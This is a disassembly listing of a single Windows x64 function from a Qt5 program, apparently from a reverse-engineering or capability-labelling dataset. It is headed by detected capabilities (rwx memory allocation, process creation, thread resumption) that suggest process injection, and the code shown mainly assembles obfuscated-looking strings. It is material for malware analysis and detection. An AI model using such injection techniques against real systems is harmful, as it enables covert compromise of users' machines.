Function at 0x140003034
Capabilities:
Allocate or change rwx memory
Create process on windows
Query environment variable
Resume thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x538]
sub rsp, 0x600
movaps xmmword [rax - 0x48], xmm6
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov r14, rdx
mov dword [rbp + 0x30], ecx
xor r15d, r15d
mov dword [rsp + 0x50], r15d
mov dword [rsp + 0x50], r15d
lea rcx, [rbp + 0x1c0]
call fcn.140001f00
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rax, qword [rax + 0x18]
sub rax, r8
lea r12d, [r15 + 0x10]
cmp rax, r12
jb 0x140003119
lea rax, [r8 + 0x10]
mov qword [rbx + 0x10], rax
mov rdi, rbx
cmp qword [rbx + 0x18], r12
jb 0x1400030b3
mov rdi, qword [rbx]
lea rax, [0x14003fd30]
lea r13, str.problems_problem
cmp rax, rdi
jbe 0x1400030e1
lea rax, [rdi + r8]
cmp r13, rax
ja 0x1400030e1
cmp rdi, r13
ja 0x1400030d9
mov rsi, r15
jmp 0x1400030e4
mov rsi, rdi
sub rsi, r13
jmp 0x1400030e4
mov rsi, r12
lea rcx, [rdi + 0x10]
inc r8
mov rdx, rdi
call fcn.14000e430
mov r8, rsi
mov rdx, r13
mov rcx, rdi
call fcn.14000e430
lea rcx, [rdi + rsi]
mov r8, r12
sub r8, rsi
lea rdx, [r13 + 0x10]
add rdx, rsi
call fcn.14000e430
jmp 0x14000312c
mov qword [rsp + 0x28], r12
mov rdx, r12
mov rcx, rbx
call fcn.140006888
mov rbx, rax
mov qword [rbp + 0x2b0], r15
mov qword [rbp + 0x2b8], r15
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x2b0], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea rcx, [rbp + 0x2a0]
call fcn.140002a98
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, r12
jb 0x140003186
inc rdx
mov rcx, qword [rbp + 0x1c0]
call fcn.1400064d8
mov r9d, 0x50f02
mov r8, r14
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x168]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QCoreApplication::constructor_int____ptr64__char____ptr64____ptr64__int____ptr64]
nop
lea rcx, [rbp + 0xe8]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QStringList___cdecl_QCoreApplication::arguments_void_]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QCoreApplication::applicationDirPath_void_]
nop
mov rdx, rax
lea rcx, [rbp + 0x28]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QDir::toNativeSeparators_class_QString_const____ptr64_]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QFile::constructor_void____ptr64]
nop
lea rcx, [rbp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::constructor_void____ptr64]
nop
lea rdx, str.kp.tdex_:nosjgifc
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rsp + 0x70], rax
lea rbx, [0x14003fb7c]
mov rdx, rbx
lea rcx, [rbp - 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rsp + 0x58], rax
lea rdx, [0x14003fd38]
lea rcx, [rbp - 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rsp + 0x60], rax
lea rdx, [0x14003fd3c]
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r13, rax
mov rdx, rbx
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r12, rax
lea rdx, [0x14003fd40]
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r15, rax
mov rdx, rbx
lea rcx, [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r14, rax
lea rdx, [0x14003fd44]
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov rsi, rax
lea rcx, [rsp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QChar___cdecl_QDir::separator_void_]
movzx ebx, word [rax]
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rdi, rax
mov dword [rsp + 0x50], 3
movzx edx, bx
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::operator_class_QChar____ptr64]
nop
mov rdx, rdi
lea rcx, [rbp - 0x30]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 7
mov rdx, rsi
lea rcx, [rbp - 0x30]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0xf
mov rdx, r14
lea rcx, [rbp - 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x1f
mov rdx, r15
lea rcx, [rbp - 0x40]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x3f
mov rdx, r12
lea rcx, [rbp - 0x48]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x7f
mov rdx, r13
lea rcx, [rbp - 0x50]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0xff
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x58]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x1ff
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x60]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
mov r8, qword [rsp + 0x70]
mov rdx, rbx
lea rcx, [rbp + 0xf0]
call fcn.140002a4c
nop
lea rcx, [rbp - 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x30]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [0x14003fd48]
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rbp - 0x70], rax
lea rdx, [0x14003fd4c]
lea rcx, [rbp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rbp - 0x20], rax
lea rdx, [0x14003fd48]
lea rcx, [rbp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rbp - 0x18], rax
lea rdx, [0x14003fd3c]
lea rcx, [rbp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rbp - 0x10], rax
lea rdx, [0x14003fd38]
lea rcx, [rbp + 0x150]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rbp - 8], rax
lea rdx, [0x14003fd38]
lea rcx, [rbp + 0x160]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rbp - 0x78], rax
lea rbx, [0x14003fb7c]
mov rdx, rbx
lea rcx, [rbp + 0x158]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rbp], rax
lea rdx, [0x14003fd50]
lea rcx, [rbp + 0x148]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r13, rax
mov rdx, rbx
lea rcx, [rbp + 0x140]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r12, rax
lea rdx, [0x14003fd40]
lea rcx, [rbp + 0x138]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r15, rax
mov rdx, rbx
lea rcx, [rbp + 0x130]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r14, rax
lea rdx, [0x14003fd44]
lea rcx, [rbp + 0x128]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov rsi, rax
lea rdx, [0x14003fd50]
lea rcx, [rbp + 0x120]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov rdi, rax
lea rdx, [0x14003fd54]
lea rcx, [rbp + 0x118]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x401
mov rdx, rdi
lea rcx, [rsp + 0x58]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0xc01
mov rdx, rsi
lea rcx, [rsp + 0x70]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x1c01
mov rdx, r14
lea rcx, [rbp - 0x68]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp + 0xa8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x3c01
mov rdx, r15
lea rcx, [rbp + 0xa8]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp + 0xa0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x7c01
mov rdx, r12
lea rcx, [rbp + 0xa0]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp + 0x98]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0xfc01
mov rdx, r13
lea rcx, [rbp + 0x98]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp + 0x90]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x1fc01
mov rdx, qword [rbp]
lea rcx, [rbp + 0x90]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp + 0x88]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x3fc01
mov rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x88]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp + 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x7fc01
mov rdx, qword [rbp - 8]
lea rcx, [rbp + 0x80]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0xffc01
mov rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x78]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x1ffc01
mov rdx, qword [rbp - 0x18]
lea rcx, [rbp + 0x70]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x3ffc01
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp + 0x68]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
mov r8, qword [rbp - 0x70]
mov rdx, rbx
lea rcx, [rbp + 0xf8]
call fcn.140002a4c
nop
lea rcx, [rbp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x88]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x90]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x98]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xa0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xa8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x118]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x120]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x128]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x130]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x138]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x140]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x148]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x158]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x160]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x150]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [0x14003fd58]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rbp + 0x48], rax
lea rdx, [0x14003fd5c]
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rbp + 0x50], rax
lea rdx, [0x14003fd60]
lea rcx, [rbp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rbp + 0x58], rax
lea rdx, [0x14003fd64]
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov qword [rsp + 0x78], rax
lea rdx, [0x14003fd3c]
lea rcx, [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r13, rax
lea rdx, [0x14003fd68]
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r12, rax
lea rdx, [0x14003fd6c]
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r15, rax
lea rdx, [0x14003fd70]
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov r14, rax
lea rdx, [0x14003fd58]
lea rcx, [rbp - 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov rsi, rax
lea rdx, [0x14003fd5c]
lea rcx, [rbp - 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
mov rdi, rax
lea rdx, [0x14003fd74]
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_char_const____ptr64____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x800001
mov rdx, rdi
lea rcx, [rsp + 0x60]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x1800001
mov rdx, rsi
lea rcx, [rbp - 0x60]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x3800001
mov rdx, r14
lea rcx, [rbp - 0x58]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x7800001
mov rdx, r15
lea rcx, [rbp - 0x50]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0xf800001
mov rdx, r12
lea rcx, [rbp - 0x48]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x1f800001
mov rdx, r13
lea rcx, [rbp - 0x40]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x3f800001
mov rdx, qword [rsp + 0x78]
lea rcx, [rbp - 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x30]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0x7f800001
mov rdx, qword [rbp + 0x58]
lea rcx, [rbp - 0x30]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
nop
mov rdx, rbx
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov rbx, rax
mov dword [rsp + 0x50], 0xff800001
mov rdx, qword [rbp + 0x50]
lea rcx, [rbp - 0x28]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_AEBV0__Z]
mov r8, qword [rbp + 0x48]
mov rdx, rbx
lea rcx, [rbp + 0xe0]
call fcn.140002a4c
nop
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x30]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x180]
call fcn.14000157c
nop
mov eax, dword [rbp + 0x198]
cmp eax, 0xffffffff
je 0x14000433f
mov r15d, 1
cmp eax, r15d
jne 0x140003ca7
lea rcx, [rbp + 0x180]
call fcn.140001968
xor r14d, r14d
test al, al
je 0x14000433f
lea rcx, [rbp + 0x180]
call fcn.140001bfc
mov eax, dword [rbp + 0x198]
jmp 0x140003caa
xor r14d, r14d
cmp eax, 2
jne 0x140003cc3
lea rcx, [rbp + 0x180]
call fcn.140001ab4
test al, al
je 0x14000433f
xor ecx, ecx
call fcn.14001574c
mov rcx, rax
call fcn.1400128b0
call fcn.140012884
mov r8d, eax
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
